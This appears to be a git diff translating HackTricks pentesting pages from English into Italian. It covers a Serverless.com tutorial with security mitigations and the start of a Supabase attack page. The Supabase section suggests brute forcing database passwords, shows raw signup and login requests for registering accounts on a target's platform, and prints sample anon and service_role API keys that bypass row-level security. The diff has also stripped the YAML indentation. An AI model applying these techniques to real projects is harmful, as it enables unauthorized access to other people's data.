- statusCode: 201,
- }
+const body = JSON.parse(Buffer.from(event.body, "base64").toString())
+const dynamoDb = new AWS.DynamoDB.DocumentClient()
+const putParams = {
+TableName: process.env.DYNAMODB_CUSTOMER_TABLE,
+Item: {
+primary_key: body.name,
+email: body.email,
+},
+}
+await dynamoDb.put(putParams).promise()
+return {
+statusCode: 201,
+}
}
```
-
{{#endtab }}
{{#tab name="serverless.yml" }}
-
```yaml
# "org" ensures this Service is used with the correct Serverless Framework Access Key.
org: testing12342
@@ -475,388 +434,379 @@ app: tutorialapp
service: Tutorial
provider:
- name: aws
- runtime: nodejs20.x
- environment:
- DYNAMODB_CUSTOMER_TABLE: ${self:service}-customerTable-${sls:stage}
- iam:
- role:
- statements:
- - Effect: "Allow"
- Action:
- - "dynamodb:PutItem"
- - "dynamodb:Get*"
- - "dynamodb:Scan*"
- - "dynamodb:UpdateItem"
- - "dynamodb:DeleteItem"
- Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
+name: aws
+runtime: nodejs20.x
+environment:
+DYNAMODB_CUSTOMER_TABLE: ${self:service}-customerTable-${sls:stage}
+iam:
+role:
+statements:
+- Effect: "Allow"
+Action:
+- "dynamodb:PutItem"
+- "dynamodb:Get*"
+- "dynamodb:Scan*"
+- "dynamodb:UpdateItem"
+- "dynamodb:DeleteItem"
+Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
functions:
- hello:
- handler: handler.hello
- events:
- - httpApi:
- path: /
- method: get
- createCustomer:
- handler: createCustomer.createCustomer
- events:
- - httpApi:
- path: /
- method: post
+hello:
+handler: handler.hello
+events:
+- httpApi:
+path: /
+method: get
+createCustomer:
+handler: createCustomer.createCustomer
+events:
+- httpApi:
+path: /
+method: post
resources:
- Resources:
- CustomerTable:
- Type: AWS::DynamoDB::Table
- Properties:
- AttributeDefinitions:
- - AttributeName: primary_key
- AttributeType: S
- BillingMode: PAY_PER_REQUEST
- KeySchema:
- - AttributeName: primary_key
- KeyType: HASH
- TableName: ${self:service}-customerTable-${sls:stage}
+Resources:
+CustomerTable:
+Type: AWS::DynamoDB::Table
+Properties:
+AttributeDefinitions:
+- AttributeName: primary_key
+AttributeType: S
+BillingMode: PAY_PER_REQUEST
+KeySchema:
+- AttributeName: primary_key
+KeyType: HASH
+TableName: ${self:service}-customerTable-${sls:stage}
```
-
{{#endtab }}
{{#endtabs }}
-6. Deploy it running **`serverless deploy`**
- 1. The deployment will be performed via a CloudFormation Stack
- 2. Note that the **lambdas are exposed via API gateway** and not via direct URLs
-7. **Test it**
- 1. The previous step will print the **URLs** where your API endpoints lambda functions have been deployed
+6. Distribuiscilo eseguendo **`serverless deploy`**
+1. Il deployment verrà eseguito tramite un CloudFormation Stack
+2. Nota che le **lambdas sono esposte tramite API gateway** e non tramite URL diretti
+7. **Testalo**
+1. Il passaggio precedente stamperà gli **URL** dove le tue funzioni lambda degli endpoint API sono state distribuite
-## Security Review of Serverless.com
+## Revisione della Sicurezza di Serverless.com
-### **Misconfigured IAM Roles and Permissions**
+### **Ruoli e Permessi IAM Mal Configurati**
-Overly permissive IAM roles can grant unauthorized access to cloud resources, leading to data breaches or resource manipulation.
+Ruoli IAM eccessivamente permissivi possono concedere accesso non autorizzato alle risorse cloud, portando a violazioni dei dati o manipolazione delle risorse.
-When no permissions are specified for the a Lambda function, a role with permissions only to generate logs will be created, like:
+Quando non vengono specificati permessi per una funzione Lambda, verrà creato un ruolo con permessi solo per generare log, come:
-Minimum lambda permissions
-
+Permessi minimi per lambda
```json
{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Action": [
- "logs:CreateLogStream",
- "logs:CreateLogGroup",
- "logs:TagResource"
- ],
- "Resource": [
- "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*"
- ],
- "Effect": "Allow"
- },
- {
- "Action": ["logs:PutLogEvents"],
- "Resource": [
- "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*"
- ],
- "Effect": "Allow"
- }
- ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Action": [
+"logs:CreateLogStream",
+"logs:CreateLogGroup",
+"logs:TagResource"
+],
+"Resource": [
+"arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*"
+],
+"Effect": "Allow"
+},
+{
+"Action": ["logs:PutLogEvents"],
+"Resource": [
+"arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*"
+],
+"Effect": "Allow"
+}
+]
}
```
-
-#### **Mitigation Strategies**
+#### **Strategie di Mitigazione**
-- **Principle of Least Privilege:** Assign only necessary permissions to each function.
-
- ```yaml
- provider:
- [...]
- iam:
- role:
- statements:
- - Effect: 'Allow'
- Action:
- - 'dynamodb:PutItem'
- - 'dynamodb:Get*'
- - 'dynamodb:Scan*'
- - 'dynamodb:UpdateItem'
- - 'dynamodb:DeleteItem'
- Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
- ```
-
-- **Use Separate Roles:** Differentiate roles based on function requirements.
-
----
-
-### **Insecure Secrets and Configuration Management**
-
-Storing sensitive information (e.g., API keys, database credentials) directly in **`serverless.yml`** or code can lead to exposure if repositories are compromised.
-
-The **recommended** way to store environment variables in **`serverless.yml`** file from serverless.com (at the time of this writing) is to use the `ssm` or `s3` providers, which allows to get the **environment values from these sources at deployment time** and **configure** the **lambdas** environment variables with the **text clear of the values**!
-
-> [!CAUTION]
-> Therefore, anyone with permissions to read the lambdas configuration inside AWS will be able to **access all these environment variables in clear text!**
-
-For example, the following example will use SSM to get an environment variable:
+- **Principio del Minimo Privilegio:** Assegna solo i permessi necessari a ciascuna funzione.
```yaml
provider:
- environment:
- DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true}
+[...]
+iam:
+role:
+statements:
+- Effect: 'Allow'
+Action:
+- 'dynamodb:PutItem'
+- 'dynamodb:Get*'
+- 'dynamodb:Scan*'
+- 'dynamodb:UpdateItem'
+- 'dynamodb:DeleteItem'
+Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
```
-And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **added in clear text inside the lambda environment variable**.
+- **Usa Ruoli Separati:** Differenzia i ruoli in base ai requisiti della funzione.
+
+---
+
+### **Segreti Insecure e Gestione della Configurazione**
+
+Memorizzare informazioni sensibili (ad es., chiavi API, credenziali del database) direttamente in **`serverless.yml`** o nel codice può portare a esposizione se i repository vengono compromessi.
+
+Il modo **raccomandato** per memorizzare variabili d'ambiente nel file **`serverless.yml`** di serverless.com (al momento della scrittura) è utilizzare i provider `ssm` o `s3`, che consentono di ottenere i **valori dell'ambiente da queste fonti al momento del deployment** e **configurare** le variabili d'ambiente delle **lambdas** con il **testo chiaro dei valori**!
+
+> [!CAUTION]
+> Pertanto, chiunque abbia permessi per leggere la configurazione delle lambdas all'interno di AWS sarà in grado di **accedere a tutte queste variabili d'ambiente in testo chiaro!**
+
+Ad esempio, il seguente esempio utilizzerà SSM per ottenere una variabile d'ambiente:
+```yaml
+provider:
+environment:
+DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true}
+```
+E anche se questo previene la codifica fissa del valore della variabile di ambiente nel file **`serverless.yml`**, il valore sarà ottenuto al momento del deployment e sarà **aggiunto in chiaro all'interno della variabile di ambiente lambda**.
> [!TIP]
-> The recommended way to store environment variables using serveless.com would be to **store it in a AWS secret** and just store the secret name in the environment variable and the **lambda code should gather it**.
+> Il modo raccomandato per memorizzare le variabili di ambiente utilizzando serveless.com sarebbe **memorizzarle in un segreto AWS** e semplicemente memorizzare il nome del segreto nella variabile di ambiente e il **codice lambda dovrebbe raccoglierlo**.
-#### **Mitigation Strategies**
+#### **Strategie di Mitigazione**
-- **Secrets Manager Integration:** Use services like **AWS Secrets Manager.**
-- **Encrypted Variables:** Leverage Serverless Framework’s encryption features for sensitive data.
-- **Access Controls:** Restrict access to secrets based on roles.
+- **Integrazione con Secrets Manager:** Utilizzare servizi come **AWS Secrets Manager.**
+- **Variabili Crittografate:** Sfruttare le funzionalità di crittografia del Serverless Framework per dati sensibili.
+- **Controlli di Accesso:** Limitare l'accesso ai segreti in base ai ruoli.
---
-### **Vulnerable Code and Dependencies**
+### **Codice e Dipendenze Vulnerabili**
-Outdated or insecure dependencies can introduce vulnerabilities, while improper input handling may lead to code injection attacks.
+Dipendenze obsolete o insicure possono introdurre vulnerabilità, mentre una gestione inadeguata degli input può portare ad attacchi di iniezione di codice.
-#### **Mitigation Strategies**
+#### **Strategie di Mitigazione**
-- **Dependency Management:** Regularly update dependencies and scan for vulnerabilities.
+- **Gestione delle Dipendenze:** Aggiornare regolarmente le dipendenze e scansionare per vulnerabilità.
- ```yaml
- plugins:
- - serverless-webpack
- - serverless-plugin-snyk
- ```
+```yaml
+plugins:
+- serverless-webpack
+- serverless-plugin-snyk
+```
-- **Input Validation:** Implement strict validation and sanitization of all inputs.
-- **Code Reviews:** Conduct thorough reviews to identify security flaws.
-- **Static Analysis:** Use tools to detect vulnerabilities in the codebase.
+- **Validazione degli Input:** Implementare una validazione e sanificazione rigorose di tutti gli input.
+- **Revisioni del Codice:** Condurre revisioni approfondite per identificare difetti di sicurezza.
+- **Analisi Statica:** Utilizzare strumenti per rilevare vulnerabilità nel codice sorgente.
---
-### **Inadequate Logging and Monitoring**
+### **Logging e Monitoraggio Inadeguati**
-Without proper logging and monitoring, malicious activities may go undetected, delaying incident response.
+Senza un logging e un monitoraggio adeguati, le attività malevole possono rimanere non rilevate, ritardando la risposta agli incidenti.
-#### **Mitigation Strategies**
+#### **Strategie di Mitigazione**
-- **Centralized Logging:** Aggregate logs using services like **AWS CloudWatch** or **Datadog**.
+- **Logging Centralizzato:** Aggregare i log utilizzando servizi come **AWS CloudWatch** o **Datadog**.
- ```yaml
- plugins:
- - serverless-plugin-datadog
- ```
+```yaml
+plugins:
+- serverless-plugin-datadog
+```
-- **Enable Detailed Logging:** Capture essential information without exposing sensitive data.
-- **Set Up Alerts:** Configure alerts for suspicious activities or anomalies.
-- **Regular Monitoring:** Continuously monitor logs and metrics for potential security incidents.
+- **Abilitare il Logging Dettagliato:** Catturare informazioni essenziali senza esporre dati sensibili.
+- **Impostare Avvisi:** Configurare avvisi per attività sospette o anomalie.
+- **Monitoraggio Regolare:** Monitorare continuamente log e metriche per potenziali incidenti di sicurezza.
---
-### **Insecure API Gateway Configurations**
+### **Configurazioni Insecure dell'API Gateway**
-Open or improperly secured APIs can be exploited for unauthorized access, Denial of Service (DoS) attacks, or cross-site attacks.
+API aperte o non adeguatamente protette possono essere sfruttate per accessi non autorizzati, attacchi Denial of Service (DoS) o attacchi cross-site.
-#### **Mitigation Strategies**
+#### **Strategie di Mitigazione**
-- **Authentication and Authorization:** Implement robust mechanisms like OAuth, API keys, or JWT.
+- **Autenticazione e Autorizzazione:** Implementare meccanismi robusti come OAuth, chiavi API o JWT.
- ```yaml
- functions:
- hello:
- handler: handler.hello
- events:
- - http:
- path: hello
- method: get
- authorizer: aws_iam
- ```
+```yaml
+functions:
+hello:
+handler: handler.hello
+events:
+- http:
+path: hello
+method: get
+authorizer: aws_iam
+```
-- **Rate Limiting and Throttling:** Prevent abuse by limiting request rates.
+- **Limitazione della Frequenza e Throttling:** Prevenire abusi limitando le frequenze delle richieste.
- ```yaml
- provider:
- apiGateway:
- throttle:
- burstLimit: 200
- rateLimit: 100
- ```
+```yaml
+provider:
+apiGateway:
+throttle:
+burstLimit: 200
+rateLimit: 100
+```
-- **Secure CORS Configuration:** Restrict allowed origins, methods, and headers.
+- **Configurazione CORS Sicura:** Limitare origini, metodi e intestazioni consentiti.
- ```yaml
- functions:
- hello:
- handler: handler.hello
- events:
- - http:
- path: hello
- method: get
- cors:
- origin: https://yourdomain.com
- headers:
- - Content-Type
- ```
+```yaml
+functions:
+hello:
+handler: handler.hello
+events:
+- http:
+path: hello
+method: get
+cors:
+origin: https://yourdomain.com
+headers:
+- Content-Type
+```
-- **Use Web Application Firewalls (WAF):** Filter and monitor HTTP requests for malicious patterns.
+- **Utilizzare Firewall per Applicazioni Web (WAF):** Filtrare e monitorare le richieste HTTP per schemi malevoli.
---
-### **Insufficient Function Isolation**
+### **Isolamento delle Funzioni Insufficiente**
-Shared resources and inadequate isolation can lead to privilege escalations or unintended interactions between functions.
+Risorse condivise e isolamento inadeguato possono portare a escalation di privilegi o interazioni indesiderate tra funzioni.
-#### **Mitigation Strategies**
+#### **Strategie di Mitigazione**
-- **Isolate Functions:** Assign distinct resources and IAM roles to ensure independent operation.
-- **Resource Partitioning:** Use separate databases or storage buckets for different functions.
-- **Use VPCs:** Deploy functions within Virtual Private Clouds for enhanced network isolation.
+- **Isolare le Funzioni:** Assegnare risorse e ruoli IAM distinti per garantire un'operazione indipendente.
+- **Partizionamento delle Risorse:** Utilizzare database o bucket di archiviazione separati per diverse funzioni.
+- **Utilizzare VPC:** Distribuire funzioni all'interno di Cloud Privati Virtuali per un miglior isolamento della rete.
- ```yaml
- provider:
- vpc:
- securityGroupIds:
- - sg-xxxxxxxx
- subnetIds:
- - subnet-xxxxxx
- ```
+```yaml
+provider:
+vpc:
+securityGroupIds:
+- sg-xxxxxxxx
+subnetIds:
+- subnet-xxxxxx
+```
-- **Limit Function Permissions:** Ensure functions cannot access or interfere with each other’s resources unless explicitly required.
+- **Limitare i Permessi delle Funzioni:** Assicurarsi che le funzioni non possano accedere o interferire con le risorse delle altre a meno che non sia esplicitamente richiesto.
---
-### **Inadequate Data Protection**
+### **Protezione dei Dati Inadeguata**
-Unencrypted data at rest or in transit can be exposed, leading to data breaches or tampering.
+Dati non crittografati a riposo o in transito possono essere esposti, portando a violazioni dei dati o manomissioni.
-#### **Mitigation Strategies**
+#### **Strategie di Mitigazione**
-- **Encrypt Data at Rest:** Utilize cloud service encryption features.
+- **Crittografare i Dati a Riposo:** Utilizzare le funzionalità di crittografia dei servizi cloud.
- ```yaml
- resources:
- Resources:
- MyDynamoDBTable:
- Type: AWS::DynamoDB::Table
- Properties:
- SSESpecification:
- SSEEnabled: true
- ```
+```yaml
+resources:
+Resources:
+MyDynamoDBTable:
+Type: AWS::DynamoDB::Table
+Properties:
+SSESpecification:
+SSEEnabled: true
+```
-- **Encrypt Data in Transit:** Use HTTPS/TLS for all data transmissions.
-- **Secure API Communication:** Enforce encryption protocols and validate certificates.
-- **Manage Encryption Keys Securely:** Use managed key services and rotate keys regularly.
+- **Crittografare i Dati in Transito:** Utilizzare HTTPS/TLS per tutte le trasmissioni di dati.
+- **Comunicazione API Sicura:** Applicare protocolli di crittografia e convalidare i certificati.
+- **Gestire Sicuramente le Chiavi di Crittografia:** Utilizzare servizi di gestione delle chiavi e ruotare le chiavi regolarmente.
---
-### **Lack of Proper Error Handling**
+### **Mancanza di Gestione Adeguata degli Errori**
-Detailed error messages can leak sensitive information about the infrastructure or codebase, while unhandled exceptions may lead to application crashes.
+Messaggi di errore dettagliati possono rivelare informazioni sensibili sull'infrastruttura o sul codice, mentre eccezioni non gestite possono portare a crash dell'applicazione.
-#### **Mitigation Strategies**
+#### **Strategie di Mitigazione**
-- **Generic Error Messages:** Avoid exposing internal details in error responses.
+- **Messaggi di Errore Generici:** Evitare di esporre dettagli interni nelle risposte di errore.
- ```javascript
- javascriptCopy code// Example in Node.js
- exports.hello = async (event) => {
- try {
- // Function logic
- } catch (error) {
- console.error(error);
- return {
- statusCode: 500,
- body: JSON.stringify({ message: 'Internal Server Error' }),
- };
- }
- };
- ```
+```javascript
+javascriptCopy code// Esempio in Node.js
+exports.hello = async (event) => {
+try {
+// Logica della funzione
+} catch (error) {
+console.error(error);
+return {
+statusCode: 500,
+body: JSON.stringify({ message: 'Errore Interno del Server' }),
+};
+}
+};
+```
-- **Centralized Error Handling:** Manage and sanitize errors consistently across all functions.
-- **Monitor and Log Errors:** Track and analyze errors internally without exposing details to end-users.
+- **Gestione Centralizzata degli Errori:** Gestire e sanificare gli errori in modo coerente in tutte le funzioni.
+- **Monitorare e Registrare gli Errori:** Tracciare e analizzare gli errori internamente senza esporre dettagli agli utenti finali.
---
-### **Insecure Deployment Practices**
+### **Pratiche di Deployment Insicure**
-Exposed deployment configurations or unauthorized access to CI/CD pipelines can lead to malicious code deployments or misconfigurations.
+Configurazioni di deployment esposte o accesso non autorizzato a pipeline CI/CD possono portare a deployment di codice malevolo o misconfigurazioni.
-#### **Mitigation Strategies**
+#### **Strategie di Mitigazione**
-- **Secure CI/CD Pipelines:** Implement strict access controls, multi-factor authentication (MFA), and regular audits.
-- **Store Configuration Securely:** Keep deployment files free from hardcoded secrets and sensitive data.
-- **Use Infrastructure as Code (IaC) Security Tools:** Employ tools like **Checkov** or **Terraform Sentinel** to enforce security policies.
-- **Immutable Deployments:** Prevent unauthorized changes post-deployment by adopting immutable infrastructure practices.
+- **Sicurezza delle Pipeline CI/CD:** Implementare controlli di accesso rigorosi, autenticazione a più fattori (MFA) e audit regolari.
+- **Memorizzare le Configurazioni in Sicurezza:** Mantenere i file di deployment privi di segreti codificati e dati sensibili.
+- **Utilizzare Strumenti di Sicurezza per Infrastructure as Code (IaC):** Impiegare strumenti come **Checkov** o **Terraform Sentinel** per applicare politiche di sicurezza.
+- **Deployment Immutabili:** Prevenire modifiche non autorizzate dopo il deployment adottando pratiche di infrastruttura immutabile.
---
-### **Vulnerabilities in Plugins and Extensions**
+### **Vulnerabilità in Plugin ed Estensioni**
-Using unvetted or malicious third-party plugins can introduce vulnerabilities into your serverless applications.
+Utilizzare plugin di terze parti non verificati o malevoli può introdurre vulnerabilità nelle tue applicazioni serverless.
-#### **Mitigation Strategies**
+#### **Strategie di Mitigazione**
-- **Vet Plugins Thoroughly:** Assess the security of plugins before integration, favoring those from reputable sources.
-- **Limit Plugin Usage:** Use only necessary plugins to minimize the attack surface.
-- **Monitor Plugin Updates:** Keep plugins updated to benefit from security patches.
-- **Isolate Plugin Environments:** Run plugins in isolated environments to contain potential compromises.
+- **Verificare i Plugin a Fondo:** Valutare la sicurezza dei plugin prima dell'integrazione, privilegiando quelli provenienti da fonti affidabili.
+- **Limitare l'Uso dei Plugin:** Utilizzare solo i plugin necessari per ridurre la superficie di attacco.
+- **Monitorare gli Aggiornamenti dei Plugin:** Mantenere i plugin aggiornati per beneficiare delle patch di sicurezza.
+- **Isolare gli Ambienti dei Plugin:** Eseguire i plugin in ambienti isolati per contenere potenziali compromissioni.
---
-### **Exposure of Sensitive Endpoints**
+### **Esposizione di Endpoint Sensibili**
-Publicly accessible functions or unrestricted APIs can be exploited for unauthorized operations.
+Funzioni pubblicamente accessibili o API senza restrizioni possono essere sfruttate per operazioni non autorizzate.
-#### **Mitigation Strategies**
+#### **Strategie di Mitigazione**
-- **Restrict Function Access:** Use VPCs, security groups, and firewall rules to limit access to trusted sources.
-- **Implement Robust Authentication:** Ensure all exposed endpoints require proper authentication and authorization.
-- **Use API Gateways Securely:** Configure API Gateways to enforce security policies, including input validation and rate limiting.
-- **Disable Unused Endpoints:** Regularly review and disable any endpoints that are no longer in use.
+- **Limitare l'Accesso alle Funzioni:** Utilizzare VPC, gruppi di sicurezza e regole del firewall per limitare l'accesso a fonti fidate.
+- **Implementare Autenticazione Robusta:** Assicurarsi che tutti gli endpoint esposti richiedano una corretta autenticazione e autorizzazione.
+- **Utilizzare Sicuramente gli API Gateway:** Configurare gli API Gateway per applicare politiche di sicurezza, inclusa la validazione degli input e la limitazione della frequenza.
+- **Disabilitare Endpoint Non Utilizzati:** Rivedere regolarmente e disabilitare eventuali endpoint che non sono più in uso.
---
-### **Excessive Permissions for Team Members and External Collaborators**
+### **Permessi Eccessivi per Membri del Team e Collaboratori Esterni**
-Granting excessive permissions to team members and external collaborators can lead to unauthorized access, data breaches, and misuse of resources. This risk is heightened in environments where multiple individuals have varying levels of access, increasing the attack surface and potential for insider threats.
+Concedere permessi eccessivi ai membri del team e ai collaboratori esterni può portare ad accessi non autorizzati, violazioni dei dati e uso improprio delle risorse. Questo rischio è amplificato in ambienti in cui più individui hanno livelli di accesso variabili, aumentando la superficie di attacco e il potenziale per minacce interne.
-#### **Mitigation Strategies**
+#### **Strategie di Mitigazione**
-- **Principle of Least Privilege:** Ensure that team members and collaborators have only the permissions necessary to perform their tasks.
+- **Principio del Minimo Privilegio:** Assicurarsi che i membri del team e i collaboratori abbiano solo i permessi necessari per svolgere i propri compiti.
---
-### **Access Keys and License Keys Security**
+### **Sicurezza delle Chiavi di Accesso e delle Chiavi di Licenza**
-**Access Keys** and **License Keys** are critical credentials used to authenticate and authorize interactions with the Serverless Framework CLI.
+**Chiavi di Accesso** e **Chiavi di Licenza** sono credenziali critiche utilizzate per autenticare e autorizzare interazioni con il Serverless Framework CLI.
-- **License Keys:** They are Unique identifiers required for authenticating access to Serverless Framework Version 4 which allows to login via CLI.
-- **Access Keys:** Credentials that allow the Serverless Framework CLI to authenticate with the Serverless Framework Dashboard. When login with `serverless` cli an access key will be **generated and stored in the laptop**. You can also set it as an environment variable named `SERVERLESS_ACCESS_KEY`.
+- **Chiavi di Licenza:** Sono identificatori unici richiesti per autenticare l'accesso alla versione 4 del Serverless Framework che consente di effettuare il login tramite CLI.
+- **Chiavi di Accesso:** Credenziali che consentono al Serverless Framework CLI di autenticarsi con il Dashboard del Serverless Framework. Quando si effettua il login con `serverless` cli, una chiave di accesso sarà **generata e memorizzata nel laptop**. Puoi anche impostarla come variabile di ambiente chiamata `SERVERLESS_ACCESS_KEY`.
-#### **Security Risks**
+#### **Rischi per la Sicurezza**
-1. **Exposure Through Code Repositories:**
- - Hardcoding or accidentally committing Access Keys and License Keys to version control systems can lead to unauthorized access.
-2. **Insecure Storage:**
- - Storing keys in plaintext within environment variables or configuration files without proper encryption increases the likelihood of leakage.
-3. **Improper Distribution:**
- - Sharing keys through unsecured channels (e.g., email, chat) can result in interception by malicious actors.
-4. **Lack of Rotation:**
- - Not regularly rotating keys extends the exposure period if keys are compromised.
-5. **Excessive Permissions:**
- - Keys with broad permissions can be exploited to perform unauthorized actions across multiple resources.
+1. **Esposizione Tramite Repository di Codice:**
+- La codifica fissa o il commit accidentale di Chiavi di Accesso e Chiavi di Licenza nei sistemi di controllo versione possono portare ad accessi non autorizzati.
+2. **Memorizzazione Insicura:**
+- Memorizzare le chiavi in testo chiaro all'interno di variabili di ambiente o file di configurazione senza una crittografia adeguata aumenta la probabilità di fuga.
+3. **Distribuzione Impropria:**
+- Condividere le chiavi tramite canali non sicuri (ad es., email, chat) può comportare l'intercettazione da parte di attori malevoli.
+4. **Mancanza di Rotazione:**
+- Non ruotare regolarmente le chiavi estende il periodo di esposizione se le chiavi vengono compromesse.
+5. **Permessi Eccessivi:**
+- Chiavi con permessi ampi possono essere sfruttate per eseguire azioni non autorizzate su più risorse.
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md
index 6fa6219f8..061122359 100644
--- a/src/pentesting-ci-cd/supabase-security.md
+++ b/src/pentesting-ci-cd/supabase-security.md
@@ -1,50 +1,49 @@
-# Supabase Security
+# Sicurezza di Supabase
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## Informazioni di base
-As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings.
+Secondo la loro [**pagina di atterraggio**](https://supabase.com/): Supabase è un'alternativa open source a Firebase. Inizia il tuo progetto con un database Postgres, Autenticazione, API istantanee, Funzioni Edge, abbonamenti in tempo reale, Archiviazione e Embedding vettoriali.
-### Subdomain
+### Sottodominio
-Basically when a project is created, the user will receive a supabase.co subdomain like: **`jnanozjdybtpqgcwhdiz.supabase.co`**
+Fondamentalmente, quando viene creato un progetto, l'utente riceverà un sottodominio supabase.co come: **`jnanozjdybtpqgcwhdiz.supabase.co`**
-## **Database configuration**
+## **Configurazione del database**
> [!TIP]
-> **This data can be accessed from a link like `https://supabase.com/dashboard/project//settings/database`**
+> **Questi dati possono essere accessibili tramite un link come `https://supabase.com/dashboard/project//settings/database`**
-This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\
-The password is a **password the user put** previously.
+Questo **database** sarà distribuito in una regione AWS e, per connettersi ad esso, sarà possibile farlo collegandosi a: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (questo è stato creato in us-west-1).\
+La password è una **password che l'utente ha inserito** in precedenza.
-Therefore, as the subdomain is a known one and it's used as username and the AWS regions are limited, it might be possible to try to **brute force the password**.
+Pertanto, poiché il sottodominio è noto ed è utilizzato come nome utente e le regioni AWS sono limitate, potrebbe essere possibile provare a **forzare la password**.
-This section also contains options to:
+Questa sezione contiene anche opzioni per:
-- Reset the database password
-- Configure connection pooling
-- Configure SSL: Reject plan-text connections (by default they are enabled)
-- Configure Disk size
-- Apply network restrictions and bans
+- Reimpostare la password del database
+- Configurare il pooling delle connessioni
+- Configurare SSL: Rifiuta le connessioni in testo semplice (per impostazione predefinita sono abilitate)
+- Configurare la dimensione del disco
+- Applicare restrizioni e divieti di rete
-## API Configuration
+## Configurazione API
> [!TIP]
-> **This data can be accessed from a link like `https://supabase.com/dashboard/project//settings/api`**
+> **Questi dati possono essere accessibili tramite un link come `https://supabase.com/dashboard/project//settings/api`**
-The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
+L'URL per accedere all'API supabase nel tuo progetto sarà simile a: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
-### anon api keys
+### chiavi API anonime
-It'll also generate an **anon API key** (`role: "anon"`), like: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` that the application will need to use in order to contact the API key exposed in our example in
+Genererà anche una **chiave API anonima** (`role: "anon"`), come: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` che l'applicazione dovrà utilizzare per contattare la chiave API esposta nel nostro esempio in
-It's possible to find the API REST to contact this API in the [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), but the most interesting endpoints would be:
+È possibile trovare l'API REST per contattare questa API nella [**documentazione**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), ma gli endpoint più interessanti sarebbero:
-Signup (/auth/v1/signup)
-
+Registrazione (/auth/v1/signup)
```
POST /auth/v1/signup HTTP/2
Host: id.io.net
@@ -69,13 +68,11 @@ Priority: u=1, i
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
```
-
-Login (/auth/v1/token?grant_type=password)
-
+Accesso (/auth/v1/token?grant_type=password)
```
POST /auth/v1/token?grant_type=password HTTP/2
Host: hypzbtgspjkludjcnjxl.supabase.co
@@ -100,68 +97,63 @@ Priority: u=1, i
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
```
-
-So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**.
+Quindi, ogni volta che scopri un cliente che utilizza supabase con il sottodominio che gli è stato assegnato (è possibile che un sottodominio dell'azienda abbia un CNAME sul loro sottodominio supabase), potresti provare a **creare un nuovo account nella piattaforma utilizzando l'API di supabase**.
-### secret / service_role api keys
+### chiavi api segrete / service_role
-A secret API key will also be generated with **`role: "service_role"`**. This API key should be secret because it will be able to bypass **Row Level Security**.
+Una chiave API segreta verrà generata anche con **`role: "service_role"`**. Questa chiave API dovrebbe essere segreta perché sarà in grado di bypassare **Row Level Security**.
-The API key looks like this: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
+La chiave API appare così: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
-### JWT Secret
+### Segreto JWT
-A **JWT Secret** will also be generate so the application can **create and sign custom JWT tokens**.
